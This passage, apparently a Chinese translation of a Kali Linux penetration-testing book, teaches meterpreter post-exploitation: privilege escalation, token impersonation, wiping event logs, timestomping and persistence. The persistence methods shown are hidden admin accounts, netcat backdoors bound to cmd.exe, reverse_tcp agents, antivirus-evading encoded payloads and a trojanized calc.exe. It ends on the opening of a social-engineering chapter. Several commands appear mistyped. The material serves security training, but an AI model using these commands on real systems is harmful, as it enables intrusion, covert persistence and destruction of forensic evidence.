run getgui 允许用户启用 RDP(getgui -e)并设置用户名和密码(getgui -u)。gettelnet脚本可以以相同的方式运行。
run vnc 为攻击者提供对受损系统的远程 GUI(VNC)访问。

最有效的meterpreter脚本之一是Windows 枚举器winenum)。如下图所示,它使用命令行和 WMIC 调用来完全描述目标系统:

使用 Metasploit 进行后渗透活动

除了枚举,winenum脚本还会转储注册表并收集系统哈希以便解密,如下面的屏幕截图所示:

使用 Metasploit 进行后渗透活动

meterpreter附带了几个支持复杂功能的有用库。例如,espia库支持通过以下命令对受损系统进行截屏:

meterpreter> use espia
Loading extension espia ... success.
meterpreter> screenshot /Desktop/target.jpeg
Screenshot saved to: /root/xsWoDDbW.jpeg

stdapi库允许远程攻击者通过收集受损系统的音频和视频来操纵网络摄像头,并将数据传送回攻击者。

提升受损主机上的用户权限

通常可以获得对系统的“访客”或“用户”访问权限。攻击者通常受到降低的权限级别的限制,因此,常见的后渗透活动是从“访客”提升访问权限到“用户”再到“管理员”,最终到“系统”。获得访问权限的这种上升过程通常被称为垂直提升

用户可以实施多种方法来获取高级访问凭据,包括以下内容:

  • 使用网络嗅探器和/或键盘记录器来捕获传输的用户凭据(dsniff旨在从实时传输或从 Wireshark 或 tshark 会话保存的pcap文件中提取密码)。

  • 搜索本地存储的密码。一些用户会在电子邮件文件夹中收集密码(通常称为“密码”)。由于密码重用和简单的密码构建系统很常见,因此在提升过程中找到的密码可以被使用。

NirSoft(www.nirsoft.net)制作了几个免费工具,可以使用meterpreter上传到受损系统,从操作系统和缓存密码的应用程序(邮件、远程访问软件、FTP 和 Web 浏览器)中提取密码。

  • 使用meterpreter或应用程序(如hobocopyfgdumppwdump)转储SAMSYSKEY文件(这些可以使用meterpreter上传到目标)。

  • 使用诸如进程注入器(www.tarasco.org/security/Process_Injector/)之类的工具,直接将恶意代码注入到在SYSTEM级别运行的服务中。

  • 当一些应用程序加载时,它们会按特定顺序读取动态链接库DLL)文件。可以创建一个与合法 DLL 同名的伪造 DLL,将其放置在特定目录位置,并让应用程序加载和执行它,从而使攻击者获得提升的权限。已知有几个应用程序容易受到此类 DLL 劫持的影响(www.exploit-db.com/dll-hijacking-vulnerable-applications/)。

  • 应用使用缓冲区溢出或其他手段来提升权限的漏洞利用。

  • 执行getsystem脚本,将自动将管理员权限提升到SYSTEM级别,从meterpreter提示符中执行。

提示

Windows 7 和 2008 不允许从不受信任的系统远程访问管理共享,如ADMIN$C$等。这些共享可能需要meterpreter脚本(如 incognito)或支持通过 SMB 进行攻击。为了解决这个问题,将HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System添加到注册表,并添加一个名为LocalAccountTokenFilterPolicy的新 DWORD(32 位)键,并将值设置为1

使用隐身模式重播身份验证令牌

一个特别有趣的meterpreter库是incognito,它允许你模拟和重播用户令牌。令牌是临时密钥,允许你访问网络和系统资源,而无需在每次特定访问时提供密码或其他凭据。这些令牌在系统重启之前会持续存在。

一旦你妥协了一个系统,你可以使用令牌模拟之前创建令牌的用户,而无需破解用户的密码。这种令牌模拟可能允许攻击者提升他们的权限。

在提示符中输入以下内容:

use incognito

执行前面的命令的结果如下截屏所示:

使用隐身模式重播身份验证令牌

第一步是识别受损系统上存在的所有有效令牌。你能看到的令牌数量将取决于最初用于妥协目标系统的访问级别。

你还会看到有两种类型的令牌,如下面的截屏所示。委派令牌支持交互式登录(例如,本地登录系统或通过远程桌面登录)。模拟令牌用于非交互式会话,例如当系统连接到网络驱动器时。

使用隐身模式重播身份验证令牌

如你所见,一个委派令牌被识别为管理员。如果我们可以模拟这个令牌,我们就可以获得它的权限。

incognito中调用impersonate_token命令(如下面的截屏所示),请注意命令中需要两个反斜杠:

使用隐身模式重播身份验证令牌

现在,如果我们从meterpreter提示符中运行 shell 命令并输入whoami,它会将我们标识为我们模拟的管理员令牌。

使用 Windows 凭据编辑器操纵访问凭据

Windows 凭据编辑器WCE)—[www.ampliasecurity.com/research/wcefaq.html](http://www.ampliasecurity.com/research/wcefaq.html)—是incognito脚本的改进版本。它有 32 位和 64 位版本,以及声称可在所有 Windows 平台上工作的“通用”版本。WCE 允许用户做以下事情:

  • 对 Windows 系统执行传递哈希攻击

  • 从系统内存中收集 NTLM 凭据(带或不带代码注入)

  • 从 Windows 系统收集 Kerberos 票据

  • 使用收集到的 Kerberos 票据在其他 Windows 或 Unix 系统上获取访问权限

  • 转储 Windows 系统存储的明文密码(见下一节)

要使用 WCE,从meterpreter提示符上传可执行文件到受损系统。然后,启动交互式 shell 并执行 WCE。如下面的截屏所示,-w选项轻松提取了明文管理员密码:

使用 Windows 凭据编辑器操纵访问凭据

从管理员升级到 SYSTEM

管理员权限允许攻击者创建和管理帐户,并访问系统上可用的大部分数据。然而,一些复杂的功能要求请求者具有SYSTEM级别的访问权限。有几种方法可以继续将权限升级到SYSTEM级别。最常见的方法是使用at命令,Windows 用它来安排特定时间的任务。at命令始终以SYSTEM级别的权限运行。

使用交互式 shell(在meterpreter提示符下输入shell),打开命令提示符并确定受损系统的本地时间。如果时间是下午 12:50(at函数使用 24 小时制),则安排一个交互式命令 shell 在稍后的时间运行,如下面的屏幕截图所示:

从管理员升级到 SYSTEM

在安排at任务运行后,在meterpreter提示符下重新确认您的访问权限,如下面的屏幕截图所示:

从管理员升级到 SYSTEM

如您所见,权限已被提升到SYSTEM级别。

使用水平升级访问新账户

在水平升级中,攻击者保留其现有凭据,但使用它们来操作不同用户的帐户。例如,受损系统 A 上的用户攻击系统 B 上的用户,试图对其进行攻击。

当我们审查一些攻击向量时,我们将使用水平升级攻击。

掩盖你的行踪

一旦系统被利用,攻击者必须掩盖自己的行踪,以避免被发现,或者至少使事件的重建对防御者更加困难。

攻击者可以完全删除 Windows 事件日志(如果它们正在被活跃地保留在受损的服务器上)。这可以通过系统的命令行和以下命令来完成:

C:\ del %WINDIR%\*.log /a/s/q/f

该命令指示删除所有日志(/a),包括所有子文件夹中的文件(/s)。/q选项禁用所有查询,要求的响应,/f选项强制删除文件,使恢复更加困难。

这也可以通过在meterpreter提示符下发出clearev命令来完成。这将清除目标系统的应用程序、系统和安全日志(此命令没有选项或参数)。

通常情况下,删除系统日志不会触发用户的任何警报。事实上,大多数组织配置日志记录是如此随意,以至于缺少系统日志被视为可能发生的情况,它们的丢失并不会受到深入调查。

Metasploit 还有一个额外的技巧——timestomp选项允许攻击者更改文件的 MACE 参数(文件的最后修改时间、访问时间、创建时间和 MFT 条目修改时间)。一旦系统被攻破并建立了meterpreter shell,就可以调用timestomp,如下面的屏幕截图所示:

掩盖你的行踪

例如,受损系统的C:包含一个名为README.txt的文件。该文件的 MACE 值表明它是最近创建的,如下面的屏幕截图所示:

掩盖你的行踪

如果我们想隐藏这个文件,可以将它移动到一个杂乱的目录,比如windows\system32。然而,任何按照创建日期或其他基于 MAC 的变量对该目录的内容进行排序的人都会发现这个文件。因此,要将cmd.exe文件的 MAC 信息复制到README.txt文件中,请使用以下命令:

meterpreter>timestomp README.txt -f 
  C:\\WINDOWS\system32\cmd.exe 

我们还可以选择使用-b开关来清除 MAC 数据。如下面的屏幕截图所示,我们选择将 MAC 数据更改为未来的时间(2106 年)。

掩盖你的行踪

这样的更改会引起调查人员的注意,但他们将无法使用数据进行法证分析。原始 Windows 平台的属性是什么样子的?如果系统管理员调用文件的系统属性,创建和修改日期已经改回到 1601 年(微软用作初始系统启动时间的日期)。相比之下,文件的最后访问时间保持准确。您可以在以下截图中看到:

掩盖你的踪迹

尽管这是预期行为,但它仍然为调查人员提供线索。为了完全破坏调查,攻击者可以使用以下命令递归更改目录或特定驱动器上的所有设置时间:

meterpreter>timestompC:\\ -r

解决方案并不完美。很明显发生了攻击。此外,时间戳可能会保留在硬盘的其他位置,并可供调查人员访问。如果目标系统正在使用入侵检测系统(如 Tripwire)积极监控系统完整性的变化,将生成timestomp活动的警报。因此,在真正需要隐蔽方法时,销毁时间戳的价值有限。

摘要

在这一章中,我们关注的是目标系统被利用后紧随其后的行动。我们回顾了对服务器和本地环境进行的初步快速评估。我们还学会了如何识别和定位感兴趣的目标文件,创建用户账户,执行垂直升级以提高访问权限,并消除入侵迹象。

在下一章中,我们将学习如何实施持久后门以保留访问权限,并学习支持与被攻击系统进行隐蔽通信的技术。

第六章:后期利用 - 持久性

攻击者杀伤链的最后阶段是“命令、控制和通信”阶段,攻击者依赖与被攻击系统的持久连接,以确保他们可以继续保持控制。

为了有效,攻击者必须能够保持交互式持久性 - 他们必须与被利用的系统保持双向通信渠道(交互式),而不被发现地在被攻击系统上长时间保持(持久性)。这种连接的要求是因为以下原因:

  • 网络入侵可能会被检测到,并且被攻击的系统可能会被识别并修补

  • 一些漏洞只能利用一次,因为漏洞是间歇性的,利用会导致系统失败,或者因为利用迫使系统改变,使漏洞无法使用

  • 攻击者可能需要多次返回同一目标出于各种原因。

  • 在目标被攻击时,其有用性并不总是立即知晓

用于保持交互式持久性的工具通常被称为经典术语,如后门rootkit。然而,自动恶意软件和人为攻击对长期持久性的趋势已经模糊了传统标签的含义;因此,我们将持久代理指的是旨在长期留在被攻击系统上的恶意软件。

这些持久代理为攻击者和渗透测试人员执行许多功能,包括以下功能:

  • 允许上传额外的工具来支持新的攻击,特别是针对位于同一网络上的系统。

  • 促进从被攻击系统和网络中窃取数据。

  • 允许攻击者重新连接到被攻击的系统,通常通过加密通道以避免被发现。已知持久代理在系统上保留了一年以上。

  • 采用反取证技术以避免被发现,包括隐藏在目标的文件系统或系统内存中,使用强身份验证和使用加密。

在本章中,您将了解以下内容:

  • 损害现有系统和应用程序文件以进行远程访问

  • 创建持久代理

  • 使用 Metasploit Framework 保持持久性

  • 重定端口以绕过网络控制

为了远程访问而损害现有系统和应用程序文件

最佳的持久代理是不需要隐藏的代理,因为它是受损系统现有文件结构的一部分;攻击者只需添加某些功能来将常规系统文件和应用程序转换为持久代理。这种方法几乎永远不会被入侵检测系统等安全控制发现。

远程启用 Telnet 服务

用于保持远程访问的一种技术是使用 Metasploit Framework 在 Windows 平台上启用 Telnet 服务,并使用它提供持久性。

第一步是损害目标系统以获得 meterpreter 会话(迁移会话以确保稳定的 shell),然后提升访问特权。

接下来,使用以下命令获取本地命令 shell 以访问目标系统:

meterpreter> execute -H -f cmd -i

执行此命令时,会创建一个交互式命令 shell(-i),作为隐藏进程(-H)。

使用 shell 的命令提示符,创建一个新的用户帐户。在创建用户帐户以确保持久性时,许多攻击者使用以下两部分策略:

  • 创建一个帐户,如果被调查,会引起注意(例如,Leet7737)

  • 创建一个看起来像是正常系统功能的帐户,比如Service_Account,使用以下命令:

C:\net user Service_Account password /ADD
C:\net localgroup administrators Service_Account /ADD

创建新用户帐户后,退出 Windows 命令 shell。

要启用 Telnet,请从meterpreter提示符中运行以下命令:

run gettelnet -e

执行前一个命令的结果如下截图所示:

远程启用 Telnet 服务

在前一个截图中显示的脚本在受损系统上创建了一个持久的 Telnet 服务。要访问它,请使用 Telnet 协议连接到系统的 IP 地址,并提供用于创建帐户的用户名和密码,如下一个截图所示:

远程启用 Telnet 服务

Telnet 服务将持续存在,直到被移除。不幸的是,使用 Telnet 存在一些限制:它很容易被发现(特别是因为凭据是明文传输的),并且它只能在命令行模式下运行。

但是,如果您需要 GUI 来访问受损系统上的某些应用程序呢?

远程启用 Windows 终端服务

确保远程访问的最可靠技术之一是持久地启用 Windows 终端服务,也称为远程桌面协议RDP)。为此,您必须具有管理员特权,并了解目标操作系统的版本。

例如,如果目标是 Windows 7,使用meterpreter在目标上获取交互式命令 shell,然后输入以下命令更改注册表:

C:\ reg add "hklm\system\currentControlSet\Control\Terminal
  Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
C:\reg add "hklm\system\currentControlSet\Control\Terminal
  Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f 

为了确保 RDP 能够通过客户端防火墙,使用以下命令添加规则:

C:\ netshadvfirewall firewall set rule group="remote desktop"new enable=Yes

现在我们可以使用以下命令启动 RDP 服务:

C:\net start Termservice

更改启动 RDP 还不是持久的;每次计算机启动时使用以下命令启动 RDP:

C:\sc configTermService start= auto

启用 RDP 的过程并不太复杂,但应该编写脚本以减少错误的可能性,特别是在处理系统注册表时。幸运的是,meterpreter框架使用GETGUI脚本自动启用 RDP 服务。

meterpreter提示符运行时,以下屏幕截图中显示的命令行创建了帐户的用户名和密码,隐藏了帐户,使其在登录屏幕上不可见,并对注册表进行了必要的更改以保持持久性。以下屏幕截图显示了用于创建一个看起来像是合法帐户(服务帐户)的用户名的命令,密码很简单。

远程启用 Windows 终端服务

要连接到受损的远程桌面,请使用 Kali 的rdesktop程序。

远程启用虚拟网络计算

如果系统包含已知受损的应用程序(特别是远程访问程序),可能可以利用现有的漏洞来利用系统。例如:

  • 可能可以从注册表中提取一些程序的远程访问密码。VNC 将密码存储在注册表中,可以通过手动提取注册表键或上传和执行诸如 NirSoft 的 VNCPassView 之类的应用程序来获取这些密码。

  • 不同版本的 VNC 包含可以利用的不同漏洞,以便破坏应用程序并远程访问系统。如果用户安装了当前版本,可能可以卸载该版本并安装旧版本。由于各个版本之间功能的相似性,用户可能不会注意到替换,但攻击者可以利用旧版 VNC 中发现的身份验证绕过漏洞在后期保持访问。

Metasploit 具有直接使用 VNC 将 VNC 直接引入受攻击系统的能力,使用 VNCINJECT 模块。

在下面的屏幕截图中,VNC 被选为有效载荷,而不是常规的reverse_TCP shell:

远程启用虚拟网络计算

此攻击不需要任何身份验证。如果您正在测试客户端站点,请确保一旦漏洞已被证明,所有易受攻击的应用程序都已从受损系统中移除 - 否则,您已经创建了一个可以被其他攻击者找到并使用的访问点!

使用持久代理

传统上,攻击者会在受损系统上放置后门 - 如果“前门”为合法用户提供授权访问,后门应用程序允许攻击者返回到受攻击的系统并访问服务和数据。

不幸的是,传统的后门提供了有限的交互性,并且并不是设计为在受损系统上持久存在很长时间。这被攻击者社区视为一个重大缺点,因为一旦发现并移除了后门,就需要额外的工作来重复妥协步骤并利用系统,而被警告的系统管理员在防御网络及其资源方面更加困难。

Kali 现在专注于持久代理,如果正确使用,将更难以检测。我们将首先审查的工具是备受尊敬的 Netcat。

将 Netcat 作为持久代理

Netcat 是一个支持使用“原始”TCP 和 UDP 数据包从和向网络连接读写的应用程序。与 Telnet 或 FTP 等服务组织的数据包不同,Netcat 的数据包不附带特定于服务的头部或其他通道信息。这简化了通信,并允许几乎通用的通信通道。

Netcat 的最后一个稳定版本是由 Hobbit 于 1996 年发布的,它一直像以往一样有用;事实上,它经常被称为TCP/IP 瑞士军刀。Netcat 可以执行许多功能,包括以下内容:

  • 端口扫描

  • 横幅抓取以识别服务

  • 端口重定向和代理

  • 文件传输和聊天,包括对数据取证和远程备份的支持

  • 用作后门或交互式持久代理,在受损系统上

此时,我们将专注于使用 Netcat 在受损系统上创建持久 shell。尽管以下示例使用 Windows 作为目标平台,但在基于 Unix 的平台上使用时功能相同。

在下面的截图中显示的示例中,我们将保留可执行文件的名称—nc.exe;但是,通常在使用之前将其重命名以最小化检测。即使它被重命名,通常也会被杀毒软件识别;许多攻击者会修改或删除 Netcat 源代码中不需要的部分,并在使用之前重新编译它;这些更改可以改变杀毒软件用于识别应用程序为 Netcat 的特定签名,使其对杀毒软件不可见。

Netcat 存储在 Kali 的/usr/share/windows-binaries存储库中。要将其上传到受损系统,请在meterpreter中输入以下命令:

meterpreter> upload/usr/share/windows-binaries/nc.exe
C:\\WINDOWS\\system32 

前一个命令的执行结果显示在以下截图中:

将 Netcat 作为持久代理

您不必将其专门放在system32文件夹中;但是,由于此文件夹中的文件类型数量和多样性,这是在受损系统中隐藏文件的最佳位置。

提示

在对一个客户进行渗透测试时,我们在一个服务器上发现了六个独立的 Netcat 实例。Netcat 被两个不同的系统管理员安装了两次,以支持网络管理;其他四个实例是由外部攻击者安装的,在渗透测试之前没有被发现。因此,始终查看目标系统上是否已安装了 Netcat!

如果您没有meterpreter连接,可以使用Trivial File Transfer ProtocolTFTP)来传输文件。

接下来,配置注册表以在系统启动时启动 Netcat,并确保它在 444 端口上监听(或者您选择的任何其他端口,只要它没有被使用),使用以下命令:

meterpreter>reg setval -k
  HKLM\\software\\microsoft\\windows\\currentversion\\run -vv nc
  -d 'C:\\windows\\system32\\nc.exe -Ldp 444 -e cmd.exe' 

使用以下queryval命令确认注册表中的更改已成功实施:

meterpreter>reg queryval -k
  HKLM\\software\\microsoft\\windows\\currentverion\\run -vv nc 

使用netsh命令,在本地防火墙上打开一个端口,以确保受损系统将接受对 Netcat 的远程连接。了解目标操作系统是很重要的。netsh advfirewall firewall命令行上下文用于 Windows Vista 和 Windows Server 2008 及更高版本;netsh firewall命令用于早期操作系统。

要向本地 Windows 防火墙添加端口,请在meterpreter提示符处输入shell命令,然后使用适当的命令输入rule。在命名rule时,使用一个像svchostpassthrough这样的名称,表明rule对系统的正常运行很重要。示例命令如下所示:

C:\Windows\system32>netsh firewall add portopening TCP 444
  "service passthrough" 

使用以下命令确认更改已成功实施:

C:\windows\system32>netsh firewall show portopening

前面提到的命令的执行结果显示在以下截图中:

将 Netcat 作为持久代理

确认端口规则后,确保重启选项有效。

  • meterpreter提示符输入以下命令:
meterpreter> reboot

  • 从交互式 Windows shell 中输入以下命令:
C:\windows\system32>shutdown –r –t 00

要远程访问受损系统,请在命令提示符中输入nc,指示连接的详细程度(-v报告基本信息,-vv报告更多信息),然后输入目标的 IP 地址和端口号,如下截图所示:

将 Netcat 作为持久代理

不幸的是,使用 Netcat 存在一些限制—没有传输数据的身份验证或加密,并且几乎所有杀毒软件都会检测到它。

可以使用cryptcat解决加密问题,它是 Netcat 的变体,使用 Twofish 加密来保护被攻击主机和攻击者之间传输的数据。由 Bruce Schneier 开发的 Twofish 加密是一种先进的对称分组密码,为加密数据提供了相当强的保护。

要使用cryptcat,确保有一个准备好并配置了强密码的监听器,使用以下命令:

root@kali:~# cryptcat –k password –l –p 444

接下来,上传cryptcat到被攻击系统,并使用以下命令配置它连接到监听器的 IP 地址:

C:\cryptcat –k password <listener IP address> 444

不幸的是,Netcat 及其变体仍然可以被大多数杀毒软件检测到。可以使用十六进制编辑器修改 Netcat 的源代码使其不可检测;这将有助于避免触发杀毒软件的签名匹配动作,但这可能是一个漫长的反复试验过程。更有效的方法是利用 Metasploit Framework 的持久性机制。

使用 Metasploit Framework 保持持久性

Metasploit 的meterpreter包含几个支持在被攻击系统上保持持久性的脚本。我们将研究两个脚本选项,用于在被攻击系统上放置后门:metsvcpersistence

使用 metsvc 脚本

metsvc脚本是meterpreter的网络服务包装器,允许它被用作 Windows 服务或作为命令行应用程序运行。它通常被用作后门,以维持与被攻击系统的通信。

要使用metsvc,首先要攻击系统,然后将meterpreter迁移到explorer.exe进程,以获得更稳定的 shell。

通过调用run命令执行metsvc代理,如下截图所示。可以看到,它创建了一个临时安装目录,上传了三个文件(metsrv.dllmetsvc-server.exemetsvc.exe),然后启动了metsvc

使用 metsvc 脚本

要与持久的metsvc代理进行交互,攻击者打开 Metasploit Framework,并选择use exploit/multi/handler,载荷为windows/metsvc_bind_tcp,如下截图所示。还设置了其他参数(IP 地址和端口)。

使用 metsvc 脚本

当执行exploit命令时,会直接在两个系统之间打开一个会话,允许从meterpreter命令行执行权限提升和其他功能。执行exploit命令如下截图所示:

使用 metsvc 脚本

metsvc脚本不需要身份验证;一旦代理就位,任何人都可以使用它来访问被攻击系统。大多数攻击者不会在不修改源代码以要求身份验证或确保有某种方法来过滤远程连接的情况下使用它。

更重要的是,这不是一个隐秘的攻击。任何尝试列出运行中的进程,比如从meterpreter提示输入ps命令,都会识别出metsvc服务以及可疑地从Temp目录运行的可执行文件!在下面的截图中,位于 Temp 文件夹中的具有随机名称(CvjrsZWOMK)的目录明显标志着系统已被攻击:

使用 metsvc 脚本

简单检查Temp文件夹将识别出三个敌对文件,如下截图所示;然而,这些通常会在手动检查之前被杀毒软件标记。

使用 metsvc 脚本

使用持久性脚本

获得持久性的更有效方法是使用meterpreter提示的persistence脚本。

在系统被利用并且迁移命令已将初始 shell 移动到更安全的服务之后,攻击者可以从meterpreter提示符中调用persistence脚本。

在命令中使用-h将识别创建持久后门的可用选项,如下面的屏幕截图所示:

使用持久性脚本

在下面的屏幕截图中的示例中,我们已经配置persistence在系统启动时自动运行,并尝试每 10 秒连接到我们的监听器。监听器被标识为远程系统(-r)具有特定的 IP 地址和端口。此外,我们可以选择使用-U选项,它将在用户登录到系统时启动持久性。

使用持久性脚本

注意

请注意,我们已经任意选择了端口 444 供持久性使用;攻击者必须验证本地防火墙设置,以确保该端口是开放的,或者使用reg命令打开该端口。与大多数 Metasploit 模块一样,只要端口尚未被使用,就可以选择任何端口。

persistence脚本将 VBS 文件放在临时目录中;但是,您可以使用-L选项指定不同的位置。该脚本还将该文件添加到注册表的本地自动运行部分。

因为persistence脚本没有经过身份验证,任何人都可以使用它来访问受损系统,因此应在发现或完成渗透测试后尽快从系统中删除。要删除脚本,请确认清理资源文件的位置,然后执行以下resource命令:

meterpreter> run multi_console_command -rc
  /root/.msf4/logs/persistence/RWBEGGS-
  1E69067_20130920.0024/RWBEGGS-1E69067_20130920.0024.rc 

使用 Metasploit 创建独立的持久代理

Metasploit 框架可用于创建一个独立的可执行文件,可以在受损系统上持久存在并允许交互式通信。独立包的优势在于可以提前准备和测试以确保连接,并进行编码以绕过本地防病毒软件。

要创建一个简单的独立代理,请在 Kali 的命令提示符上启动msfconsole

使用msfpayload来制作持久代理。在下面的屏幕截图中的示例中,代理被配置为使用reverse_tcp shell,将连接到端口4444上的本地主机192.168.43.130。名为attack1.exe的代理将使用 win32 可执行文件模板。

使用 Metasploit 创建独立的持久代理

独立代理只能在未安装防病毒软件的受损系统上运行,或者如果使用适当的meterpreter命令先禁用了防病毒软件。要绕过防病毒软件,必须对后门进行编码。

有几种不同的选项可以对有效载荷进行编码,如下面的屏幕截图所示:

使用 Metasploit 创建独立的持久代理

要查看可用选项,请使用show encoders命令。

Metasploit 使用大约 30 种不同的编码器;默认情况下,如果未指定编码器,它将选择最合适的编码器。

一个很好的通用编码器是shikata_ga_nai。该编码器实现了多态 XOR 加反馈编码,针对 4 字节密钥,是 Metasploit 唯一被评为“优秀”的编码器。

要对先前准备的attack.exe代理进行编码,我们使用以下命令:

msf>msfencode -i attack.exe -o encoded_attack.exe -e
  x86/shikata_ga_nai -c 5 -t exe 

这使用shikata_ga_nai协议对attack.exe代理进行了五次编码。每次重新编码,它都变得更难检测。但是,可执行文件的大小也会增加。

完整的有效载荷可以直接从 Kali 的命令行中创建。不仅可以对其进行编码,还可以配置编码模式以避免特定字符。例如,在编码持久代理时应避免以下字符,因为它们可能导致攻击被发现和失败:

  • \x00代表 0 字节地址

  • \xa0 代表换行

  • \xad 代表回车

要创建多重编码的有效负载,请使用以下命令:

msf>msfpayload windows/meterpreter/bind_tcp
  LPORT=444 R| msfencode -e x86/shikata_ga_nai -c 5 -t raw -a
  x86 -b '\x00\x0a\x0d' -c 5 -x /root/Desktop/attack.exe -o
  /root/Desktop/encoded_attack.exe 

您还可以将msfpayload编码为现有的可执行文件,修改后的可执行文件和持久代理都将起作用。要将持久代理绑定到一个可执行文件(如计算器(calc.exe)),首先将适当的calc.exe文件复制到 Metasploit 的模板文件夹中,位于/usr/share/metasploit-framework/data/templates。当模板就位时,使用以下命令:

msf>msfpayload windows/meterpreter/bind_tcp
  LPORT=444 R| msfencode -t exe -* calc.exe -k -o
  encoded_calc_attack.exe -e x86/shikata_ga_nai -c 5 

代理可以放置在目标系统上,重命名为calc.exe以替换原始的计算器,然后执行。

不幸的是,几乎所有 Metasploit 编码的可执行文件都可以被客户端防病毒软件检测到。这归因于渗透测试人员向 VirusTotal(www.virustotal.com)等网站提交了加密的有效负载。然而,您可以创建一个可执行文件,然后使用 Veil-Evasion 对其进行加密,如第四章 利用中所述。

重定向端口以绕过网络控制

到目前为止,我们已经检查了对受攻击系统的远程控制访问,就好像我们在受害者和攻击者的机器之间有直接连接;然而,这种连接通常受到网络设备(如防火墙)的控制或阻止。

攻击者可以通过端口重定向来规避这些控制,这是一个指定的系统,它监听定义的端口并将原始数据包转发到特定的次要位置。

Kali 提供了几个支持端口重定向的工具,包括nccryptcatsocatsshfpipe和 Metasploit 的meterpreter;我们将在以下部分中看一些示例。

示例 1 - 简单的端口重定向

简单的端口重定向可能会被使用,例如,如果您已经在网络外部的非军事区DMZ)上损坏了一个系统,并且需要能够从远程位置与内部系统进行通信。

在 DMZ 中受损的系统上,配置一个 Netcat 实例来监听传入命令并将其转发到目标,使用以下命令:

root@kali:~# nc -l -p 44444 -e <TAGET IP> 444

这个命令将调用 Netcat(nc)来监听(-l)传入的流量,并执行(-e)将这些传入的流量传输到端口444上的目标。端口不是固定的,它们不必在监听/转发主机和最终目标上相同。

如果您缺乏有关目标内部网络的完整信息,可以尝试以下命令:

root@kali:~# nc -l -p <local listening port> -c "nc <TARGET IP> 
  <TARGET port> 

这个命令将设置本地(攻击者)Netcat 实例监听(-l)指定的端口,然后指示 Netcat 在每次新连接(-c)时创建一个新进程。

这个简单的例子允许外部人员连接到直接网络;然而,它不允许双向数据连接,这对于一些工具是必需的。

示例 2 - 双向端口重定向

考虑三个独立的 Windows 数据系统:

[攻击者] | [转发者] | [目标]

为了使用 Netcat 创建双向通信通道,我们将不得不使用命名管道。命名管道,也称为 FIFO,是一种创建定义的进程间通信的方法;这使我们可以将其处理为一个对象,在发出命令时更容易管理。在以下示例攻击中,我们创建一个名为reverse的命名管道来处理双向通信。

攻击者在他的本地系统上有一个 Netcat 实例,使用以下命令监听端口6661

nc -l 6661

转发者,一个安装了 Netcat 实例的受损主机,将监听传入的数据包并将其转发到目标;它被配置为使用以下命令在端口6666上监听:

nc -l 6666

在目标系统上,输入以下命令来创建命名管道:

mkfifo reverse

然后,配置本地的 Netcat 实例,使用命名管道建立跨转发系统与攻击者之间的双向通信,命令如下:

nc localhost 6661 0<reverse | nc localhost 6666 1>reverse

使用socat也可以实现相同的双向数据流,该工具旨在实现这种类型的连接。此示例的命令将从目标系统执行,并使用:

socat tcp:localhost:6661 tcp:localhost:6646

总结

在本章中,我们关注了攻击者杀伤链的最后阶段——命令、控制和通信阶段——在这个阶段,攻击者使用持久代理与被攻击系统进行通信。

这就结束了本书的第一部分,我们在其中详细研究了攻击者的杀伤链,以了解如何将其应用于对网络或孤立系统的妥协。

在第二部分中,交付阶段,我们将研究使用各种利用路径的杀伤链的具体应用。在第七章中,物理攻击和社会工程,我们将重点关注物理安全和社会工程攻击。主题将包括攻击方法论概述,制作恶意 USB 设备和流氓微型计算机,社会工程工具包,以及测试系统对钓鱼攻击的抵抗力。

第二部分:交付阶段

物理攻击和社会工程

利用无线通信

对基于 Web 的应用程序进行侦察和利用

利用远程访问通信

客户端利用

安装 Kali Linux

第七章:物理攻击和社会工程

社会工程,特别是与对目标系统的物理访问相结合时,是用于渗透测试或实际攻击的最成功的攻击向量。

作为支持杀链的攻击路径,社会工程侧重于攻击的非技术方面,利用人们的信任和天生的乐于助人来欺骗和操纵他们,使其妥协网络及其资源。

社会工程攻击的成功依赖于两个关键因素:

  • 在侦察阶段获得的知识。攻击者必须了解与目标相关的名称和用户名;更重要的是,攻击者必须了解网络用户的关注点。

  • 了解如何应用这些知识来说服潜在目标通过点击链接或执行程序来激活攻击。例如,如果目标公司刚刚与以前的竞争对手合并,员工的工作安全可能是最关注的问题。因此,与该主题相关的电子邮件或文件很可能会被目标个人打开。

Kali Linux 提供了几种工具和框架,如果以社会工程为借口影响受害者打开文件或执行某些操作,成功的几率会增加。例如脚本攻击(包括 Visual Basic、WMI 和 PowerShell 脚本)、由 Metasploit Framework 创建的可执行文件,以及BeEF浏览器利用框架)。

在本章中,我们将专注于社会工程工具包或 SEToolkit。使用这些工具的技术将作为使用社会工程从其他工具部署攻击的模型。

在本章结束时,您将学会如何使用 SEToolkit 执行以下操作:

  • 使用鱼叉式网络钓鱼和 Java 小程序攻击获取远程 shell

  • 使用凭证收割者攻击收集用户名和密码

  • 启动 tabnabbing 和 webjacking 攻击

  • 使用多攻击网络方法

  • 使用 PowerShell 的字母数字 shellcode 注入攻击

为支持 SET 的社会工程攻击,将描述以下一般实施做法:

  • 隐藏恶意可执行文件和混淆攻击者的 URL

  • 通过 DNS 重定向升级攻击

您还将学习如何创建和实施基于 Raspberry PI 微型计算机的敌对物理设备。

社会工程工具包

Social-Engineer Toolkit(SEToolkit)是由 David Kennedy(ReL1K)创建和编写的,并由一群活跃的合作者维护(www.social-engineer.org)。它是一个开源的 Python 驱动框架,专门设计用于促进社会工程攻击。

SEToolkit 的一个重要优势是它与 Metasploit Framework 的互连性,提供了所需的利用载荷、用于绕过防病毒的加密,以及当被攻击系统向攻击者发送 shell 时连接到受损系统的监听器模块。

在启动 SEToolkit 之前,您可能希望对配置文件进行一些修改。

社会工程工具包预先配置了常见的默认设置;但是,这些设置可以被修改以适应特定的攻击场景。在 Kali 中,配置文件是/usr/share/set/config/set_config。修改此文件允许您控制以下内容:

  • Metasploit 变量,包括位置、要使用的数据库、有效负载应该被编码的次数以及一旦建立了 meterpreter 会话后自动运行的命令。

  • Ettercapdsniff开关用于促进 DNS 重定向攻击和捕获认证凭据。通过控制 DNS,攻击者可以自动将一群人引导到使用setoolkit创建的虚假网站。

  • 配置sendmail或其他邮件程序以在需要伪造电子邮件地址的攻击中使用;这允许社会工程师通过使用看似来自可信来源的电子邮件地址(例如同一公司的高级经理)来增强攻击的可信度。

  • 要使用的电子邮件提供程序,包括 Gmail、Hotmail 和 Yahoo。

  • 使用伪造的发布者创建自签名的 Java 小程序,激活 SSL 证书,并窃取数字签名。

  • 其他变量,如 IP 地址、端口分配和编码参数。

